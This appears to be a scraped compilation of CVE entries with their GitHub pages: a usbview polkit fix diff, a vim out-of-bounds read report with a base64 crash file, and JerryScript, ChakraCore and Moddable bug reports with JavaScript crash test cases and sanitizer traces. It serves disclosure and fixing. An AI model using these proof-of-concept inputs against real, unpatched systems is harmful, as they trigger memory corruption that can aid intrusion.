USBView 2.1 before 2.2 allows some local users (e.g., ones logged in via SSH) to execute arbitrary code as root because certain Polkit settings (e.g., allow_any=yes) for pkexec disable the authentication requirement. Code execution can, for example, use the --gtk-module option. This affects Ubuntu, Debian, and Gentoo.

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org.freedesktop.pkexec.usbview.policy: fix a local root privilege esc…

…alation issue via pkexec (CVE-2022-23220).

The polkit policy allowed unprivileged users to run usbview as root with
arbitrary command line arguments, allowing a local root exploit.

Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

*   Loading branch information

![@gregkh](https://avatars.githubusercontent.com/u/14953?s=40&v=4)

1 parent 4a5de69 commit bf374fa4e5b9a756789dfd88efa93806a395463b

Showing with **2 additions** and **2 deletions**.

1.  +2 −2 org.freedesktop.pkexec.usbview.policy

@@ -8,8 +8,8 @@

<message\>Authentication is required to view USB bus</message\>

<icon\_name\>usbview\_icon</icon\_name\>

<defaults\>

<allow\_any\>yes</allow\_any\>

<allow\_inactive\>yes</allow\_inactive\>

<allow\_any\>no</allow\_any\>

<allow\_inactive\>no</allow\_inactive\>

<allow\_active\>auth\_admin\_keep</allow\_active\>

</defaults\>

<annotate key\="org.freedesktop.policykit.exec.path"\>/usr/bin/usbview</annotate\>

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CVE-2022-23220: org.freedesktop.pkexec.usbview.policy: fix a local root privilege esc… · gregkh/usbview@bf374fa

Out-of-bounds Read in vim/vim prior to 8.2.

**Description**

A heap-based OOB read of size 4 occurs when a user tries to open a vim session file specified below. This happens regardless of any command line options that could be specified to restrict vim, such -Z and -m. This bug has been found on default vim build (lastest commit hash fd218c8a36e7ed33f7a205163690c5b7d2f31f8a) on Ubuntu 20.04 for x86\_64/amd64.

**Proof of Concept**

Here is the smallest poc we were able to produce (it is base64 encoded since it contains some unprintable characters):

    $ echo -ne "CXdpMDAwMDAwMDA1MDAwMCA1MDAwMDAwMDAwMDAACiAgc2lsIW5vcm0ICAgICAgICBYXDrJPKgNn
    eW9leHQgFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRsa25lCiAgc2lsIW5vcm0ICAgI9/f3
    MBYXGLJPKgNneXl5k/95eQEBAgEN/gb/3jABPQGEAQEBAT15eXl5eW1lpmUgZSsgeXlweXl5AXV1
    dXV1dXV1enUwdXV1dnV1" | base64 -d > poc
    $ vim -u NONE -i NONE -n -X -Z -e -m -s -S poc -c ':qa!'
    =================================================================
    ==67807==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x621000016500 at pc 0x7f4e10795f40 bp 0x7fffa0da2520 sp 0x7fffa0da1cc8
    READ of size 4 at 0x621000016500 thread T0
        #0 0x7f4e10795f3f in __interceptor_memmove (/lib/x86_64-linux-gnu/libasan.so.5+0xa0f3f)
        #1 0x5612382d840a in vim_memsave /home/faraday/vim/src/alloc.c:604
        #2 0x561238d26031 in u_save_line /home/faraday/vim/src/undo.c:373
        #3 0x561238d4665c in u_saveline /home/faraday/vim/src/undo.c:3477
        #4 0x561238d25615 in u_save /home/faraday/vim/src/undo.c:257
        #5 0x561238d254a4 in u_save_cursor /home/faraday/vim/src/undo.c:237
        #6 0x5612388b83c5 in op_addsub /home/faraday/vim/src/ops.c:2386
        #7 0x561238858e66 in nv_addsub /home/faraday/vim/src/normal.c:2302
        #8 0x56123884f61f in normal_cmd /home/faraday/vim/src/normal.c:1120
        #9 0x5612385ac525 in exec_normal /home/faraday/vim/src/ex_docmd.c:8638
        #10 0x5612385ac2e4 in exec_normal_cmd /home/faraday/vim/src/ex_docmd.c:8601
        #11 0x5612385ab802 in ex_normal /home/faraday/vim/src/ex_docmd.c:8519
        #12 0x56123856dd85 in do_one_cmd /home/faraday/vim/src/ex_docmd.c:2573
        #13 0x56123856170e in do_cmdline /home/faraday/vim/src/ex_docmd.c:993
        #14 0x561238addf98 in do_source /home/faraday/vim/src/scriptfile.c:1512
        #15 0x561238adaf75 in cmd_source /home/faraday/vim/src/scriptfile.c:1098
        #16 0x561238adb132 in ex_source /home/faraday/vim/src/scriptfile.c:1124
        #17 0x56123856dd85 in do_one_cmd /home/faraday/vim/src/ex_docmd.c:2573
        #18 0x56123856170e in do_cmdline /home/faraday/vim/src/ex_docmd.c:993
        #19 0x56123855f288 in do_cmdline_cmd /home/faraday/vim/src/ex_docmd.c:587
        #20 0x56123905a82d in exe_commands /home/faraday/vim/src/main.c:3091
        #21 0x56123904c323 in vim_main2 /home/faraday/vim/src/main.c:774
        #22 0x56123904b809 in main /home/faraday/vim/src/main.c:426
        #23 0x7f4e0ed440b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
        #24 0x5612382d7cbd in _start (/home/faraday/vim/src/vim+0x1259cbd)
    
    0x621000016500 is located 0 bytes to the right of 4096-byte region [0x621000015500,0x621000016500)
    allocated by thread T0 here:
        #0 0x7f4e10802bc8 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc8)
        #1 0x5612382d817e in lalloc /home/faraday/vim/src/alloc.c:248
        #2 0x5612382d7f29 in alloc /home/faraday/vim/src/alloc.c:151
        #3 0x561239062c5c in mf_alloc_bhdr /home/faraday/vim/src/memfile.c:884
        #4 0x56123905f03c in mf_new /home/faraday/vim/src/memfile.c:376
        #5 0x5612387bbbda in ml_new_data /home/faraday/vim/src/memline.c:4077
        #6 0x561238798cc5 in ml_open /home/faraday/vim/src/memline.c:394
        #7 0x561238304457 in open_buffer /home/faraday/vim/src/buffer.c:185
        #8 0x561239059185 in create_windows /home/faraday/vim/src/main.c:2861
        #9 0x56123904c02e in vim_main2 /home/faraday/vim/src/main.c:705
        #10 0x56123904b809 in main /home/faraday/vim/src/main.c:426
        #11 0x7f4e0ed440b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow (/lib/x86_64-linux-gnu/libasan.so.5+0xa0f3f) in __interceptor_memmove
    Shadow bytes around the buggy address:
      0x0c427fffac50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c427fffac60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c427fffac70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c427fffac80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c427fffac90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x0c427fffaca0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c427fffacb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c427fffacc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c427fffacd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c427ffface0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c427fffacf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==67807==ABORTING
    

**Impact**

This vulnerability is capable disclosing data and might lead to bypass protection mechanisms facilitating successful exploitation of other memory corruption vulnerabilities that may lead to code execution.

**Acknowledgements**

This bug was found by Octavio Gianatiempo (ogianatiempo@faradaysec.com) and Octavio Galland (ogalland@faradaysec.com) from Faraday Research Team.

CVE-2022-0319: Out-of-bounds Read in vim

Out-of-bounds Read in Conda vim prior to 8.2.

**Description**

A heap-based OOB read of size 4 occurs when a user tries to open a vim session file specified below. This happens regardless of any command line options that could be specified to restrict vim, such -Z and -m. This bug has been found on default vim build (lastest commit hash `fd218c8a36e7ed33f7a205163690c5b7d2f31f8a`) on Ubuntu 20.04 for x86\_64/amd64.

**Proof of Concept**

Here is the smallest poc we were able to produce (it is base64 encoded since it contains some unprintable characters):

    $ echo -ne "CXdpMDAwMDAwMDA1MDAwMCA1MDAwMDAwMDAwMDAACiAgc2lsIW5vcm0ICAgICAgICBYXDrJPKgNn
    eW9leHQgFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRsa25lCiAgc2lsIW5vcm0ICAgI9/f3
    MBYXGLJPKgNneXl5k/95eQEBAgEN/gb/3jABPQGEAQEBAT15eXl5eW1lpmUgZSsgeXlweXl5AXV1
    dXV1dXV1enUwdXV1dnV1" | base64 -d > poc
    $ vim -u NONE -i NONE -n -X -Z -e -m -s -S poc -c ':qa!'
    =================================================================
    ==67807==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x621000016500 at pc 0x7f4e10795f40 bp 0x7fffa0da2520 sp 0x7fffa0da1cc8
    READ of size 4 at 0x621000016500 thread T0
        #0 0x7f4e10795f3f in __interceptor_memmove (/lib/x86_64-linux-gnu/libasan.so.5+0xa0f3f)
        #1 0x5612382d840a in vim_memsave /home/faraday/vim/src/alloc.c:604
        #2 0x561238d26031 in u_save_line /home/faraday/vim/src/undo.c:373
        #3 0x561238d4665c in u_saveline /home/faraday/vim/src/undo.c:3477
        #4 0x561238d25615 in u_save /home/faraday/vim/src/undo.c:257
        #5 0x561238d254a4 in u_save_cursor /home/faraday/vim/src/undo.c:237
        #6 0x5612388b83c5 in op_addsub /home/faraday/vim/src/ops.c:2386
        #7 0x561238858e66 in nv_addsub /home/faraday/vim/src/normal.c:2302
        #8 0x56123884f61f in normal_cmd /home/faraday/vim/src/normal.c:1120
        #9 0x5612385ac525 in exec_normal /home/faraday/vim/src/ex_docmd.c:8638
        #10 0x5612385ac2e4 in exec_normal_cmd /home/faraday/vim/src/ex_docmd.c:8601
        #11 0x5612385ab802 in ex_normal /home/faraday/vim/src/ex_docmd.c:8519
        #12 0x56123856dd85 in do_one_cmd /home/faraday/vim/src/ex_docmd.c:2573
        #13 0x56123856170e in do_cmdline /home/faraday/vim/src/ex_docmd.c:993
        #14 0x561238addf98 in do_source /home/faraday/vim/src/scriptfile.c:1512
        #15 0x561238adaf75 in cmd_source /home/faraday/vim/src/scriptfile.c:1098
        #16 0x561238adb132 in ex_source /home/faraday/vim/src/scriptfile.c:1124
        #17 0x56123856dd85 in do_one_cmd /home/faraday/vim/src/ex_docmd.c:2573
        #18 0x56123856170e in do_cmdline /home/faraday/vim/src/ex_docmd.c:993
        #19 0x56123855f288 in do_cmdline_cmd /home/faraday/vim/src/ex_docmd.c:587
        #20 0x56123905a82d in exe_commands /home/faraday/vim/src/main.c:3091
        #21 0x56123904c323 in vim_main2 /home/faraday/vim/src/main.c:774
        #22 0x56123904b809 in main /home/faraday/vim/src/main.c:426
        #23 0x7f4e0ed440b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
        #24 0x5612382d7cbd in _start (/home/faraday/vim/src/vim+0x1259cbd)
    
    0x621000016500 is located 0 bytes to the right of 4096-byte region [0x621000015500,0x621000016500)
    allocated by thread T0 here:
        #0 0x7f4e10802bc8 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc8)
        #1 0x5612382d817e in lalloc /home/faraday/vim/src/alloc.c:248
        #2 0x5612382d7f29 in alloc /home/faraday/vim/src/alloc.c:151
        #3 0x561239062c5c in mf_alloc_bhdr /home/faraday/vim/src/memfile.c:884
        #4 0x56123905f03c in mf_new /home/faraday/vim/src/memfile.c:376
        #5 0x5612387bbbda in ml_new_data /home/faraday/vim/src/memline.c:4077
        #6 0x561238798cc5 in ml_open /home/faraday/vim/src/memline.c:394
        #7 0x561238304457 in open_buffer /home/faraday/vim/src/buffer.c:185
        #8 0x561239059185 in create_windows /home/faraday/vim/src/main.c:2861
        #9 0x56123904c02e in vim_main2 /home/faraday/vim/src/main.c:705
        #10 0x56123904b809 in main /home/faraday/vim/src/main.c:426
        #11 0x7f4e0ed440b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow (/lib/x86_64-linux-gnu/libasan.so.5+0xa0f3f) in __interceptor_memmove
    Shadow bytes around the buggy address:
      0x0c427fffac50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c427fffac60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c427fffac70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c427fffac80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c427fffac90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x0c427fffaca0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c427fffacb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c427fffacc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c427fffacd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c427ffface0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c427fffacf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==67807==ABORTING
    

**Impact**

This vulnerability is capable disclosing data and might lead to bypass protection mechanisms facilitating successful exploitation of other memory corruption vulnerabilities that may lead to code execution.

**Acknowledgements**

This bug was found by Octavio Gianatiempo (ogianatiempo@faradaysec.com) and Octavio Galland (ogalland@faradaysec.com) from Faraday Research Team.

Jerryscript 3.0.0 was discovered to contain a SEGV vulnerability via ecma_ref_object_inline in /jerry-core/ecma/base/ecma-gc.c.

**JerryScript revision**

Commit: 51da1551 Version: v3.0.0

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

./tools/build.py --clean --debug --profile=es2015-subset --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20

**Test case**

function echo(str) {
  console.log(str);
}

function T(p, r, u) {
  return Object.assign(p, {
    then(onFulfilled, onRejected) {
      if (u) {
        onFulfilled(r);
      } else {
        onFulfilled();
      }

      return Promise.prototype.then.call(this, onFulfilled, onRejected);
    }
  });
}

function JSEtest(i) {
  var ps \= \[T(Promise.resolve('success'))\];
  Promise.all(ps).then(res \=> {
    echo(\`Test #${i} - Success with '${res}' (length = ${res.length}) (isArray = ${Array.isArray(res)})\`);
  }).catch(err \=> {
    echo(\`Test #${i} - Catch with ${err}\`);
  });
}

JSEtest(1);

​

**Execution steps & Output**

$ ./jerryscript/build/bin/jerry poc.js

ASAN:DEADLYSIGNAL
=================================================================
==95503==ERROR: AddressSanitizer: SEGV on unknown address 0x41b58ab0 (pc 0x566075cf bp 0x1ff7c4b0 sp 0xffbe2500 T0)
==95503==The signal is caused by a READ memory access.
    #0 0x566075ce in ecma\_ref\_object\_inline /root/jerryscript/jerry-core/ecma/base/ecma-gc.c:136
    #1 0x56639c0c in ecma\_copy\_value /root/jerryscript/jerry-core/ecma/base/ecma-helpers-value.c:913
    #2 0x56639c0c in ecma\_fast\_copy\_value /root/jerryscript/jerry-core/ecma/base/ecma-helpers-value.c:940
    #3 0x566cdd0b in ecma\_op\_object\_find\_own /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:647
    #4 0x566d2ea0 in ecma\_op\_object\_find\_own /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:494
    #5 0x566d2ea0 in ecma\_op\_object\_get\_with\_receiver /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:879
    #6 0x567ef0cf in ecma\_op\_array\_get\_to\_string\_at\_index /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:273
    #7 0x567ef0cf in ecma\_builtin\_array\_prototype\_join /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:322
    #8 0x567ef0cf in ecma\_builtin\_array\_prototype\_dispatch\_routine /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:2940
    #9 0x566731f1 in ecma\_builtin\_dispatch\_routine /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1543
    #10 0x566731f1 in ecma\_builtin\_dispatch\_call /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1574
    #11 0x566b48b4 in ecma\_op\_function\_call\_native\_built\_in /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1243
    #12 0x566bae4d in ecma\_op\_function\_call /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1444
    #13 0x5668d365 in ecma\_array\_object\_to\_string /root/jerryscript/jerry-core/ecma/operations/ecma-array-object.c:1228
    #14 0x5681e945 in ecma\_builtin\_intrinsic\_dispatch\_routine /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-intrinsic.c:201
    #15 0x566731f1 in ecma\_builtin\_dispatch\_routine /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1543
    #16 0x566731f1 in ecma\_builtin\_dispatch\_call /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1574
    #17 0x566b48b4 in ecma\_op\_function\_call\_native\_built\_in /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1243
    #18 0x566bae4d in ecma\_op\_function\_call /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1444
    #19 0x566c9572 in ecma\_op\_general\_object\_ordinary\_value /root/jerryscript/jerry-core/ecma/operations/ecma-objects-general.c:319
    #20 0x566c976b in ecma\_op\_general\_object\_default\_value /root/jerryscript/jerry-core/ecma/operations/ecma-objects-general.c:284
    #21 0x566d6875 in ecma\_op\_object\_default\_value /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:1780
    #22 0x566a905a in ecma\_op\_to\_string /root/jerryscript/jerry-core/ecma/operations/ecma-conversion.c:456
    #23 0x567b3433 in vm\_loop /root/jerryscript/jerry-core/vm/vm.c:2820
    #24 0x567e21da in vm\_execute /root/jerryscript/jerry-core/vm/vm.c:5260
    #25 0x567e7e7c in vm\_run /root/jerryscript/jerry-core/vm/vm.c:5363
    #26 0x566b4101 in ecma\_op\_function\_call\_simple /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1203
    #27 0x566bae25 in ecma\_op\_function\_call /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1439
    #28 0x566c495e in ecma\_process\_promise\_reaction\_job /root/jerryscript/jerry-core/ecma/operations/ecma-jobqueue.c:221
    #29 0x566c495e in ecma\_process\_all\_enqueued\_jobs /root/jerryscript/jerry-core/ecma/operations/ecma-jobqueue.c:563
    #30 0x565d4dbc in jerry\_run\_jobs /root/jerryscript/jerry-core/api/jerryscript.c:1064
    #31 0x565c004b in main /root/jerryscript/jerry-main/main-jerry.c:326
    #32 0xf76f1f20 in \_\_libc\_start\_main (/lib/i386-linux-gnu/libc.so.6+0x18f20)
    #33 0x565c9359  (/root/jerryscript/build/bin/jerry+0x3b359)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/jerryscript/jerry-core/ecma/base/ecma-gc.c:136 in ecma\_ref\_object\_inline
==95503==ABORTING

Credits: Found by OWL337 team.

CVE-2022-22891: SEGV in ecma_ref_object_inline of ecma-gc.c · Issue #4871 · jerryscript-project/jerryscript

Jerryscript 3.0.0 was discovered to contain a stack overflow via vm_loop.lto_priv.304 in /jerry-core/vm/vm.c.

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**Stack-overflow in vm\_loop.lto\_priv.304 of vm.c #4901**

Closed

hope-fly opened this issue

Dec 13, 2021

· 0 comments · Fixed by #4945

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![@mnegyokru](https://avatars.githubusercontent.com/u/69792667?s=40&v=4)

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**JerryScript revision**

Commit: 42523bd6

Version: v3.0.0

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

python  ./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-g --strip=off --system-allocator=on --logging=on --linker-flag=-fuse-ld=gold --error-messages=on --line-info=on --stack-limit=10

**Test case**

function JSEtest() {
  new JSEtest();
}

try {
  JSEtest();
} catch (e) {
  print(e);
}

​

**Execution steps & Output**

$ ./jerryscript/build/bin/jerry poc.js

ASAN:DEADLYSIGNAL
=================================================================
==78723==ERROR: AddressSanitizer: stack-overflow on address 0xff0d8f90 (pc 0x566a456c bp 0xff0d95d8 sp 0xff0d8f90 T0)
    #0 0x566a456b in vm\_loop.lto\_priv.304 /root/jerryscript/jerry-core/vm/vm.c:975
    #1 0x56929645 in vm\_execute /root/jerryscript/jerry-core/vm/vm.c:5260
    #2 0x5692e592 in vm\_run /root/jerryscript/jerry-core/vm/vm.c:5363
    #3 0x5674524e in ecma\_op\_function\_call\_simple.lto\_priv.397 /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1203
    #4 0x567e8c9c in ecma\_op\_function\_construct\_simple /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1533
    #5 0x567e8c9c in ecma\_op\_function\_construct /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1769
    #6 0x5692995a in opfunc\_construct.isra.2 /root/jerryscript/jerry-core/vm/vm.c:844
    #7 0x5692995a in vm\_execute /root/jerryscript/jerry-core/vm/vm.c:5287
    #......
    
    #......
    #368 0x5692e592 in vm\_run /root/jerryscript/jerry-core/vm/vm.c:5363
    #369 0x5674524e in ecma\_op\_function\_call\_simple.lto\_priv.397 /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1203
    #370 0x567e8c9c in ecma\_op\_function\_construct\_simple /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1533
    #371 0x567e8c9c in ecma\_op\_function\_construct /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1769
    #372 0x5692995a in opfunc\_construct.isra.2 /root/jerryscript/jerry-core/vm/vm.c:844
    #373 0x5692995a in vm\_execute /root/jerryscript/jerry-core/vm/vm.c:5287

SUMMARY: AddressSanitizer: stack-overflow /root/jerryscript/jerry-core/vm/vm.c:975 in vm\_loop.lto\_priv.304
==78723==ABORTING

Credits: Found by OWL337 team.

mnegyokru added a commit to mnegyokru/jerryscript that referenced this issue

Dec 22, 2021

![@mnegyokru](https://avatars.githubusercontent.com/u/69792667?s=60&v=4)

mnegyokru added a commit to mnegyokru/jerryscript that referenced this issue

Dec 22, 2021

![@mnegyokru](https://avatars.githubusercontent.com/u/69792667?s=60&v=4)

mnegyokru added a commit to mnegyokru/jerryscript that referenced this issue

Jan 4, 2022

![@mnegyokru](https://avatars.githubusercontent.com/u/69792667?s=60&v=4)

… objects

This patch fixes jerryscript-project#4901

JerryScript-DCO-1.0-Signed-off-by: Martin Negyokru negyokru@inf.u-szeged.hu

mnegyokru added a commit to mnegyokru/jerryscript that referenced this issue

Jan 4, 2022

![@mnegyokru](https://avatars.githubusercontent.com/u/69792667?s=60&v=4)

… objects

This patch fixes jerryscript-project#4901

JerryScript-DCO-1.0-Signed-off-by: Martin Negyokru negyokru@inf.u-szeged.hu

dbatyai pushed a commit that referenced this issue

Jan 10, 2022

![@mnegyokru](https://avatars.githubusercontent.com/u/69792667?s=60&v=4)

… objects (#4945)

This patch fixes #4901

JerryScript-DCO-1.0-Signed-off-by: Martin Negyokru negyokru@inf.u-szeged.hu

CVE-2022-22893: Stack-overflow in vm_loop.lto_priv.304 of vm.c · Issue #4901 · jerryscript-project/jerryscript

Jerryscript 3.0.0 was discovered to contain a stack overflow via ecma_lcache_lookup in /jerry-core/ecma/base/ecma-lcache.c.

**JerryScript revision**

Commit: 51da1551

Version: v3.0.0

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --profile=es2015-subset --stack-limit=20

**Test case**

let array \= new Array(1);
array.splice(1, 0, array);
array.flat(Infinity);

​

**Execution steps & Output**

$ ./jerryscript/build/bin/jerry poc.js

ASAN:DEADLYSIGNAL
=================================================================
==26613==ERROR: AddressSanitizer: stack-overflow on address 0xff535ffc (pc 0x5661347c bp 0xff536090 sp 0xff536000 T0)
    #0 0x5661347b in ecma\_lcache\_lookup /root/jerryscript/jerry-core/ecma/base/ecma-lcache.c:144
    #1 0x569cde1f  (/root/jerryscript/build/bin/jerry+0x477e1f)

SUMMARY: AddressSanitizer: stack-overflow /root/jerryscript/jerry-core/ecma/base/ecma-lcache.c:144 in ecma\_lcache\_lookup
==26613==ABORTING

Credits: Found by OWL337 team.

CVE-2022-22894: Stack-overflow in ecma_lcache_lookup (ecma-lcache.c) · Issue #4890 · jerryscript-project/jerryscript

Jerryscript 3.0.0 was discovered to contain a stack overflow via ecma_op_object_find_own in /ecma/operations/ecma-objects.c.

**JerryScript revision**

4592143

**Build platform**

Ubuntu 18.04.5 LTS (Linux 4.19.128-microsoft-standard x86\_64)  
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --profile=es2015-subset --stack-limit=20

**Test case**

var once \= false;
var m \= 1;

function JSEtest(){
  if(!once){
    m \= new Array(1, 2, 3);
    this\[2\] \= m;
  }
  once \= true;
  return this\[2\] \= m;
}

JSON.parse("\[1, 2, \[4, 5\]\]", JSEtest);

**Execution steps & Output**

$ ./jerryscript/build/bin/jerry poc1.js

ASAN:DEADLYSIGNAL
=================================================================
==5376==ERROR: AddressSanitizer: stack-overflow on address 0xff3e5ff0 (pc 0x56722cec bp 0x00000000 sp 0xff3e5ff0 T0)
    #0 0x56722ceb in ecma\_op\_object\_find\_own /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:490
    #1 0x56a4ae1f  (/root/jerryscript/build/bin/jerry+0x46fe1f)

SUMMARY: AddressSanitizer: stack-overflow /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:490 in ecma\_op\_object\_find\_own
==5376==ABORTING

Credits: Found by OWL337 team.

CVE-2022-22888: Stack-overflow in ecma-objects (ecma_op_object_find_own) · Issue #4848 · jerryscript-project/jerryscript

There is an ASSERTION (pFuncBody->GetYieldRegister() == oldYieldRegister) failed in Js::DebugContext::RundownSourcesAndReparse in ChakraCore version 1.12.0.0-beta.

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**ASSERTION (pFuncBody->GetYieldRegister() == oldYieldRegister) failed in Js::DebugContext::RundownSourcesAndReparse #6453**

Open

owl337 opened this issue

Jun 1, 2020

· 0 comments

**Comments**

![@owl337](https://avatars.githubusercontent.com/u/29652500?s=88&v=4)

**ChakraCore version:**

version 1.12.0.0-beta

**Build Commond**

./build.sh --debug

**OS**

Ubuntu 16.04.6 LTS (Linux 4.4.0-142-generic x86\_64)

**Test case**

    function test0() {
      var func2 = (async (xsbazt = hkvvxr(x)) => [...[
            -2,
          ]]);
      var a = -191;
      func3(a);
    }
    
    function Run(){
        WScript.Echo('PASSED');
    }
    
    
    WScript.Attach(Run);
    

**Output**

    ASSERTION 202914: (ChakraCore/lib/Runtime/Debug/DebugContext.cpp, line 359) pFuncBody->GetYieldRegister() == oldYieldRegister
     Failure: (pFuncBody->GetYieldRegister() == oldYieldRegister)
    Illegal instruction
    

Credits: This vulnerability is detected by chong from OWL337.

![@owl337](https://avatars.githubusercontent.com/u/29652500?s=60&v=4) owl337 changed the title DebugBreak in Js::DebugContext::RundownSourcesAndReparse ASSERTION (pFuncBody->GetYieldRegister() == oldYieldRegister) failed in Js::DebugContext::RundownSourcesAndReparse

Jun 1, 2020

2 participants

 ![@ppenzin](https://avatars.githubusercontent.com/u/3345781?s=52&v=4)![@owl337](https://avatars.githubusercontent.com/u/29652500?s=52&v=4)

CVE-2020-23315: ASSERTION (pFuncBody->GetYieldRegister() == oldYieldRegister) failed in Js::DebugContext::RundownSourcesAndReparse · Issue #6453 · chakra-core/ChakraCore

Moddable SDK v11.5.0 was discovered to contain a heap-buffer-overflow via xs/sources/xsDataView.c in fxUint8Getter.

**Moddable-XS revision**

Commit: db8f973

Version: 11.5.0 32 4

**Build environment**

Ubuntu 18.04.5 LTS (Linux 4.19.128-microsoft-standard x86\_64)

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

cd  ~/moddable/xs/makefiles/lin
#(debug)
make -f xst.mk 

**Test case**

var buf \= new ArrayBuffer(65552);
var numbers \= new Uint8Array(buf);
function v() {
    return 7;
}
function JSEtest(a, b) {
    return { valueOf: v };
}
numbers.sort(JSEtest);

**Execution & Output**

 $ ./xst poc.js

=================================================================
========ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f86d2bfe7ff at pc 0x5558b4ed93a4 bp 0x7fffebd25aa0 sp 0x7fffebd25a90
READ of size 1 at 0x7f86d2bfe7ff thread T0
